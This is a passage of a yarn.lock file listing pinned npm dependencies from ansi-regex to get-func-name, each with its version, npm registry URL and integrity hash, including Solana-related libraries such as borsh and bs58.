218 | ansi-regex@^5.0.1:
219 | version "5.0.1"
220 | resolved "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz"
221 | integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==
222 |
223 | ansi-styles@^4.0.0, ansi-styles@^4.1.0:
224 | version "4.3.0"
225 | resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz"
226 | integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
227 | dependencies:
228 | color-convert "^2.0.1"
229 |
230 | anymatch@~3.1.2:
231 | version "3.1.2"
232 | resolved "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz"
233 | integrity sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==
234 | dependencies:
235 | normalize-path "^3.0.0"
236 | picomatch "^2.0.4"
237 |
238 | arg@^5.0.1:
239 | version "5.0.1"
240 | resolved "https://registry.npmjs.org/arg/-/arg-5.0.1.tgz"
241 | integrity sha512-e0hDa9H2Z9AwFkk2qDlwhoMYE4eToKarchkQHovNdLTCYMHZHeRjI71crOh+dio4K6u1IcwubQqo79Ga4CyAQA==
242 |
243 | argparse@^2.0.1:
244 | version "2.0.1"
245 | resolved "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz"
246 | integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==
247 |
248 | arrify@^1.0.0:
249 | version "1.0.1"
250 | resolved "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz"
251 | integrity sha512-3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA==
252 |
253 | assertion-error@^1.1.0:
254 | version "1.1.0"
255 | resolved "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz"
256 | integrity sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==
257 |
258 | autoprefixer@^10.4.7:
259 | version "10.4.7"
260 | resolved "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.7.tgz"
261 | integrity sha512-ypHju4Y2Oav95SipEcCcI5J7CGPuvz8oat7sUtYj3ClK44bldfvtvcxK6IEK++7rqB7YchDGzweZIBG+SD0ZAA==
262 | dependencies:
263 | browserslist "^4.20.3"
264 | caniuse-lite "^1.0.30001335"
265 | fraction.js "^4.2.0"
266 | normalize-range "^0.1.2"
267 | picocolors "^1.0.0"
268 | postcss-value-parser "^4.2.0"
269 |
270 | balanced-match@^1.0.0:
271 | version "1.0.2"
272 | resolved "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz"
273 | integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
274 |
275 | base-x@^3.0.2:
276 | version "3.0.9"
277 | resolved "https://registry.npmjs.org/base-x/-/base-x-3.0.9.tgz"
278 | integrity sha512-H7JU6iBHTal1gp56aKoaa//YUxEaAOUiydvrV/pILqIHXTtqxSkATOnDA2u+jZ/61sD+L/412+7kzXRtWukhpQ==
279 | dependencies:
280 | safe-buffer "^5.0.1"
281 |
282 | base-x@^4.0.0:
283 | version "4.0.0"
284 | resolved "https://registry.npmjs.org/base-x/-/base-x-4.0.0.tgz"
285 | integrity sha512-FuwxlW4H5kh37X/oW59pwTzzTKRzfrrQwhmyspRM7swOEZcHtDZSCt45U6oKgtuFE+WYPblePMVIPR4RZrh/hw==
286 |
287 | base64-js@^1.3.1, base64-js@^1.5.1:
288 | version "1.5.1"
289 | resolved "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz"
290 | integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==
291 |
292 | bigint-buffer@^1.1.5:
293 | version "1.1.5"
294 | resolved "https://registry.npmjs.org/bigint-buffer/-/bigint-buffer-1.1.5.tgz"
295 | integrity sha512-trfYco6AoZ+rKhKnxA0hgX0HAbVP/s808/EuDSe2JDzUnCp/xAsli35Orvk67UrTEcwuxZqYZDmfA2RXJgxVvA==
296 | dependencies:
297 | bindings "^1.3.0"
298 |
299 | binary-extensions@^2.0.0:
300 | version "2.2.0"
301 | resolved "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz"
302 | integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==
303 |
304 | bindings@^1.3.0:
305 | version "1.5.0"
306 | resolved "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz"
307 | integrity sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==
308 | dependencies:
309 | file-uri-to-path "1.0.0"
310 |
311 | bn.js@^4.11.9:
312 | version "4.12.0"
313 | resolved "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz"
314 | integrity sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==
315 |
316 | bn.js@^5.0.0, bn.js@^5.1.2, bn.js@^5.2.0:
317 | version "5.2.1"
318 | resolved "https://registry.npmjs.org/bn.js/-/bn.js-5.2.1.tgz"
319 | integrity sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ==
320 |
321 | borsh@^0.7.0:
322 | version "0.7.0"
323 | resolved "https://registry.npmjs.org/borsh/-/borsh-0.7.0.tgz"
324 | integrity sha512-CLCsZGIBCFnPtkNnieW/a8wmreDmfUtjU2m9yHrzPXIlNbqVs0AQrSatSG6vdNYUqdc83tkQi2eHfF98ubzQLA==
325 | dependencies:
326 | bn.js "^5.2.0"
327 | bs58 "^4.0.0"
328 | text-encoding-utf-8 "^1.0.2"
329 |
330 | brace-expansion@^1.1.7:
331 | version "1.1.11"
332 | resolved "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz"
333 | integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
334 | dependencies:
335 | balanced-match "^1.0.0"
336 | concat-map "0.0.1"
337 |
338 | braces@^3.0.2, braces@~3.0.2:
339 | version "3.0.2"
340 | resolved "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz"
341 | integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==
342 | dependencies:
343 | fill-range "^7.0.1"
344 |
345 | brorand@^1.1.0:
346 | version "1.1.0"
347 | resolved "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz"
348 | integrity sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w==
349 |
350 | browser-stdout@1.3.1:
351 | version "1.3.1"
352 | resolved "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz"
353 | integrity sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==
354 |
355 | browserslist@^4.20.3:
356 | version "4.20.3"
357 | resolved "https://registry.npmjs.org/browserslist/-/browserslist-4.20.3.tgz"
358 | integrity sha512-NBhymBQl1zM0Y5dQT/O+xiLP9/rzOIQdKM/eMJBAq7yBgaB6krIYLGejrwVYnSHZdqjscB1SPuAjHwxjvN6Wdg==
359 | dependencies:
360 | caniuse-lite "^1.0.30001332"
361 | electron-to-chromium "^1.4.118"
362 | escalade "^3.1.1"
363 | node-releases "^2.0.3"
364 | picocolors "^1.0.0"
365 |
366 | bs58@^4.0.0, bs58@^4.0.1:
367 | version "4.0.1"
368 | resolved "https://registry.npmjs.org/bs58/-/bs58-4.0.1.tgz"
369 | integrity sha512-Ok3Wdf5vOIlBrgCvTq96gBkJw+JUEzdBgyaza5HLtPm7yTHkjRy8+JzNyHF7BHa0bNWOQIp3m5YF0nnFcOIKLw==
370 | dependencies:
371 | base-x "^3.0.2"
372 |
373 | bs58@^5.0.0:
374 | version "5.0.0"
375 | resolved "https://registry.npmjs.org/bs58/-/bs58-5.0.0.tgz"
376 | integrity sha512-r+ihvQJvahgYT50JD05dyJNKlmmSlMoOGwn1lCcEzanPglg7TxYjioQUYehQ9mAR/+hOSd2jRc/Z2y5UxBymvQ==
377 | dependencies:
378 | base-x "^4.0.0"
379 |
380 | buffer-from@^1.0.0, buffer-from@^1.1.0:
381 | version "1.1.2"
382 | resolved "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz"
383 | integrity sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==
384 |
385 | buffer-layout@^1.2.0, buffer-layout@^1.2.2:
386 | version "1.2.2"
387 | resolved "https://registry.npmjs.org/buffer-layout/-/buffer-layout-1.2.2.tgz"
388 | integrity sha512-kWSuLN694+KTk8SrYvCqwP2WcgQjoRCiF5b4QDvkkz8EmgD+aWAIceGFKMIAdmF/pH+vpgNV3d3kAKorcdAmWA==
389 |
390 | buffer@6.0.1:
391 | version "6.0.1"
392 | resolved "https://registry.npmjs.org/buffer/-/buffer-6.0.1.tgz"
393 | integrity sha512-rVAXBwEcEoYtxnHSO5iWyhzV/O1WMtkUYWlfdLS7FjU4PnSJJHEfHXi/uHPI5EwltmOA794gN3bm3/pzuctWjQ==
394 | dependencies:
395 | base64-js "^1.3.1"
396 | ieee754 "^1.2.1"
397 |
398 | buffer@~6.0.3:
399 | version "6.0.3"
400 | resolved "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz"
401 | integrity sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==
402 | dependencies:
403 | base64-js "^1.3.1"
404 | ieee754 "^1.2.1"
405 |
406 | bufferutil@^4.0.1:
407 | version "4.0.6"
408 | resolved "https://registry.npmjs.org/bufferutil/-/bufferutil-4.0.6.tgz"
409 | integrity sha512-jduaYOYtnio4aIAyc6UbvPCVcgq7nYpVnucyxr6eCYg/Woad9Hf/oxxBRDnGGjPfjUm6j5O/uBWhIu4iLebFaw==
410 | dependencies:
411 | node-gyp-build "^4.3.0"
412 |
413 | camelcase-css@^2.0.1:
414 | version "2.0.1"
415 | resolved "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz"
416 | integrity sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==
417 |
418 | camelcase@^5.3.1:
419 | version "5.3.1"
420 | resolved "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz"
421 | integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
422 |
423 | camelcase@^6.0.0:
424 | version "6.3.0"
425 | resolved "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz"
426 | integrity sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==
427 |
428 | caniuse-lite@^1.0.30001332, caniuse-lite@^1.0.30001335:
429 | version "1.0.30001346"
430 | resolved "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001346.tgz"
431 | integrity sha512-q6ibZUO2t88QCIPayP/euuDREq+aMAxFE5S70PkrLh0iTDj/zEhgvJRKC2+CvXY6EWc6oQwUR48lL5vCW6jiXQ==
432 |
433 | chai@^4.3.4:
434 | version "4.3.6"
435 | resolved "https://registry.npmjs.org/chai/-/chai-4.3.6.tgz"
436 | integrity sha512-bbcp3YfHCUzMOvKqsztczerVgBKSsEijCySNlHHbX3VG1nskvqjz5Rfso1gGwD6w6oOV3eI60pKuMOV5MV7p3Q==
437 | dependencies:
438 | assertion-error "^1.1.0"
439 | check-error "^1.0.2"
440 | deep-eql "^3.0.1"
441 | get-func-name "^2.0.0"
442 | loupe "^2.3.1"
443 | pathval "^1.1.1"
444 | type-detect "^4.0.5"
445 |
446 | chalk@^4.1.0:
447 | version "4.1.2"
448 | resolved "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz"
449 | integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
450 | dependencies:
451 | ansi-styles "^4.1.0"
452 | supports-color "^7.1.0"
453 |
454 | check-error@^1.0.2:
455 | version "1.0.2"
456 | resolved "https://registry.npmjs.org/check-error/-/check-error-1.0.2.tgz"
457 | integrity sha512-BrgHpW9NURQgzoNyjfq0Wu6VFO6D7IZEmJNdtgNqpzGG8RuNFHt2jQxWlAs4HMe119chBnv+34syEZtc6IhLtA==
458 |
459 | chokidar@3.5.3, chokidar@^3.5.3:
460 | version "3.5.3"
461 | resolved "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz"
462 | integrity sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==
463 | dependencies:
464 | anymatch "~3.1.2"
465 | braces "~3.0.2"
466 | glob-parent "~5.1.2"
467 | is-binary-path "~2.1.0"
468 | is-glob "~4.0.1"
469 | normalize-path "~3.0.0"
470 | readdirp "~3.6.0"
471 | optionalDependencies:
472 | fsevents "~2.3.2"
473 |
474 | cliui@^7.0.2:
475 | version "7.0.4"
476 | resolved "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz"
477 | integrity sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==
478 | dependencies:
479 | string-width "^4.2.0"
480 | strip-ansi "^6.0.0"
481 | wrap-ansi "^7.0.0"
482 |
483 | color-convert@^2.0.1:
484 | version "2.0.1"
485 | resolved "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz"
486 | integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
487 | dependencies:
488 | color-name "~1.1.4"
489 |
490 | color-name@^1.1.4, color-name@~1.1.4:
491 | version "1.1.4"
492 | resolved "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz"
493 | integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
494 |
495 | commander@^2.20.3:
496 | version "2.20.3"
497 | resolved "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz"
498 | integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==
499 |
500 | concat-map@0.0.1:
501 | version "0.0.1"
502 | resolved "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz"
503 | integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==
504 |
505 | cross-fetch@^3.1.5:
506 | version "3.1.5"
507 | resolved "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.5.tgz"
508 | integrity sha512-lvb1SBsI0Z7GDwmuid+mU3kWVBwTVUbe7S0H52yaaAdQOXq2YktTCZdlAcNKFzE6QtRz0snpw9bNiPeOIkkQvw==
509 | dependencies:
510 | node-fetch "2.6.7"
511 |
512 | crypto-hash@^1.3.0:
513 | version "1.3.0"
514 | resolved "https://registry.npmjs.org/crypto-hash/-/crypto-hash-1.3.0.tgz"
515 | integrity sha512-lyAZ0EMyjDkVvz8WOeVnuCPvKVBXcMv1l5SVqO1yC7PzTwrD/pPje/BIRbWhMoPe436U+Y2nD7f5bFx0kt+Sbg==
516 |
517 | cssesc@^3.0.0:
518 | version "3.0.0"
519 | resolved "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz"
520 | integrity sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==
521 |
522 | debug@4.3.3:
523 | version "4.3.3"
524 | resolved "https://registry.npmjs.org/debug/-/debug-4.3.3.tgz"
525 | integrity sha512-/zxw5+vh1Tfv+4Qn7a5nsbcJKPaSvCDhojn6FEl9vupwK2VCSDtEiEtqr8DFtzYFOdz63LBkxec7DYuc2jon6Q==
526 | dependencies:
527 | ms "2.1.2"
528 |
529 | decamelize@^4.0.0:
530 | version "4.0.0"
531 | resolved "https://registry.npmjs.org/decamelize/-/decamelize-4.0.0.tgz"
532 | integrity sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==
533 |
534 | deep-eql@^3.0.1:
535 | version "3.0.1"
536 | resolved "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz"
537 | integrity sha512-+QeIQyN5ZuO+3Uk5DYh6/1eKO0m0YmJFGNmFHGACpf1ClL1nmlV/p4gNgbl2pJGxgXb4faqo6UE+M5ACEMyVcw==
538 | dependencies:
539 | type-detect "^4.0.0"
540 |
541 | defined@^1.0.0:
542 | version "1.0.0"
543 | resolved "https://registry.npmjs.org/defined/-/defined-1.0.0.tgz"
544 | integrity sha512-Y2caI5+ZwS5c3RiNDJ6u53VhQHv+hHKwhkI1iHvceKUHw9Df6EK2zRLfjejRgMuCuxK7PfSWIMwWecceVvThjQ==
545 |
546 | delay@^5.0.0:
547 | version "5.0.0"
548 | resolved "https://registry.npmjs.org/delay/-/delay-5.0.0.tgz"
549 | integrity sha512-ReEBKkIfe4ya47wlPYf/gu5ib6yUG0/Aez0JQZQz94kiWtRQvZIQbTiehsnwHvLSWJnQdhVeqYue7Id1dKr0qw==
550 |
551 | detective@^5.2.0:
552 | version "5.2.1"
553 | resolved "https://registry.npmjs.org/detective/-/detective-5.2.1.tgz"
554 | integrity sha512-v9XE1zRnz1wRtgurGu0Bs8uHKFSTdteYZNbIPFVhUZ39L/S79ppMpdmVOZAnoz1jfEFodc48n6MX483Xo3t1yw==
555 | dependencies:
556 | acorn-node "^1.8.2"
557 | defined "^1.0.0"
558 | minimist "^1.2.6"
559 |
560 | didyoumean@^1.2.2:
561 | version "1.2.2"
562 | resolved "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz"
563 | integrity sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==
564 |
565 | diff@5.0.0:
566 | version "5.0.0"
567 | resolved "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz"
568 | integrity sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==
569 |
570 | diff@^3.1.0:
571 | version "3.5.0"
572 | resolved "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz"
573 | integrity sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==
574 |
575 | dlv@^1.1.3:
576 | version "1.1.3"
577 | resolved "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz"
578 | integrity sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==
579 |
580 | dot-case@^3.0.4:
581 | version "3.0.4"
582 | resolved "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz"
583 | integrity sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==
584 | dependencies:
585 | no-case "^3.0.4"
586 | tslib "^2.0.3"
587 |
588 | electron-to-chromium@^1.4.118:
589 | version "1.4.144"
590 | resolved "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.144.tgz"
591 | integrity sha512-R3RV3rU1xWwFJlSClVWDvARaOk6VUO/FubHLodIASDB3Mc2dzuWvNdfOgH9bwHUTqT79u92qw60NWfwUdzAqdg==
592 |
593 | elliptic@^6.5.4:
594 | version "6.5.4"
595 | resolved "https://registry.npmjs.org/elliptic/-/elliptic-6.5.4.tgz"
596 | integrity sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==
597 | dependencies:
598 | bn.js "^4.11.9"
599 | brorand "^1.1.0"
600 | hash.js "^1.0.0"
601 | hmac-drbg "^1.0.1"
602 | inherits "^2.0.4"
603 | minimalistic-assert "^1.0.1"
604 | minimalistic-crypto-utils "^1.0.1"
605 |
606 | emoji-regex@^8.0.0:
607 | version "8.0.0"
608 | resolved "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz"
609 | integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
610 |
611 | es6-promise@^4.0.3:
612 | version "4.2.8"
613 | resolved "https://registry.npmjs.org/es6-promise/-/es6-promise-4.2.8.tgz"
614 | integrity sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w==
615 |
616 | es6-promisify@^5.0.0:
617 | version "5.0.0"
618 | resolved "https://registry.npmjs.org/es6-promisify/-/es6-promisify-5.0.0.tgz"
619 | integrity sha512-C+d6UdsYDk0lMebHNR4S2NybQMMngAOnOwYBQjTOiv0MkoJMP0Myw2mgpDLBcpfCmRLxyFqYhS/CfOENq4SJhQ==
620 | dependencies:
621 | es6-promise "^4.0.3"
622 |
623 | escalade@^3.1.1:
624 | version "3.1.1"
625 | resolved "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz"
626 | integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==
627 |
628 | escape-string-regexp@4.0.0:
629 | version "4.0.0"
630 | resolved "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz"
631 | integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
632 |
633 | eventemitter3@^4.0.7:
634 | version "4.0.7"
635 | resolved "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.7.tgz"
636 | integrity sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==
637 |
638 | eyes@^0.1.8:
639 | version "0.1.8"
640 | resolved "https://registry.npmjs.org/eyes/-/eyes-0.1.8.tgz"
641 | integrity sha512-GipyPsXO1anza0AOZdy69Im7hGFCNB7Y/NGjDlZGJ3GJJLtwNSb2vrzYrTYJRrRloVx7pl+bhUaTB8yiccPvFQ==
642 |
643 | fast-glob@^3.2.11:
644 | version "3.2.11"
645 | resolved "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz"
646 | integrity sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==
647 | dependencies:
648 | "@nodelib/fs.stat" "^2.0.2"
649 | "@nodelib/fs.walk" "^1.2.3"
650 | glob-parent "^5.1.2"
651 | merge2 "^1.3.0"
652 | micromatch "^4.0.4"
653 |
654 | fast-stable-stringify@^1.0.0:
655 | version "1.0.0"
656 | resolved "https://registry.npmjs.org/fast-stable-stringify/-/fast-stable-stringify-1.0.0.tgz"
657 | integrity sha512-wpYMUmFu5f00Sm0cj2pfivpmawLZ0NKdviQ4w9zJeR8JVtOpOxHmLaJuj0vxvGqMJQWyP/COUkF75/57OKyRag==
658 |
659 | fastq@^1.6.0:
660 | version "1.13.0"
661 | resolved "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz"
662 | integrity sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==
663 | dependencies:
664 | reusify "^1.0.4"
665 |
666 | file-uri-to-path@1.0.0:
667 | version "1.0.0"
668 | resolved "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz"
669 | integrity sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==
670 |
671 | fill-range@^7.0.1:
672 | version "7.0.1"
673 | resolved "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz"
674 | integrity sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==
675 | dependencies:
676 | to-regex-range "^5.0.1"
677 |
678 | find-up@5.0.0:
679 | version "5.0.0"
680 | resolved "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz"
681 | integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==
682 | dependencies:
683 | locate-path "^6.0.0"
684 | path-exists "^4.0.0"
685 |
686 | flat@^5.0.2:
687 | version "5.0.2"
688 | resolved "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz"
689 | integrity sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==
690 |
691 | fraction.js@^4.2.0:
692 | version "4.2.0"
693 | resolved "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz"
694 | integrity sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==
695 |
696 | fs.realpath@^1.0.0:
697 | version "1.0.0"
698 | resolved "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz"
699 | integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==
700 |
701 | fsevents@~2.3.2:
702 | version "2.3.2"
703 | resolved "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz"
704 | integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==
705 |
706 | function-bind@^1.1.1:
707 | version "1.1.1"
708 | resolved "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz"
709 | integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==
710 |
711 | get-caller-file@^2.0.5:
712 | version "2.0.5"
713 | resolved "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz"
714 | integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==
715 |
716 | get-func-name@^2.0.0:
717 | version "2.0.0"
718 | resolved "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz"
